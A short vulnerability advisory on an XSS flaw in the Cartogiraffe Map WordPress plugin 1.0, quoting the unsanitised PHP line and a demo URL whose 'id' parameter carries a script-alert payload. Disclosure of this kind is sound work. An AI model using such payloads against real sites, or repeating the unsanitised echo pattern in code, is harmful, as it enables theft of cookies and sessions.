WordPress Cartogiraffe Map version 1.0 suffers from a persistent cross site scripting vulnerability.
873fe871e50fef95299934e75557c04db1b7cffd7587f4fe644f609828a82a8b
Class Input Validation Error
Remote Yes
Credit Ricardo Sanchez
Vulnerable Cartogiraffe Map Plugin 1.0
Cartogiraffe Map Plugin is prone to a stored cross-site scripting
vulnerability because it fails to sufficiently sanitize user-supplied data.
An attacker may leverage this issue to execute arbitrary script code in the
browser of an unsuspecting user in the context of the affected site. This
may allow the attacker to steal cookie-based authentication credentials and
to launch other attacks.
To exploit this issue following steps:
The XSS reflected because the id values are not filter correctly:
\htdocs\wordpress\wp-content\plugins\cartogiraffe-map\js\cartogiraffe_wordpress.php:
Line 24
jQuery("#kartogiraffe_relation_input<?=$_GET["id"]?>,
#kartogiraffe_relation_id<?=$_GET["id"]?>").on('keyup keypress',
function(e) {
var code = e.keyCode || e.which;
if (code == 13) {
kartogiraffe_search_relation<?=intval($_GET["id"])?>();
e.preventDefault();
return false;
}
});
Demo Request:
http://localhost/wordpress/wp-content/plugins/cartogiraffe-map/js/cartogiraffe_wordpress.php?cartogiraffeLoad=1&id=
<script>alert("XSS")</script>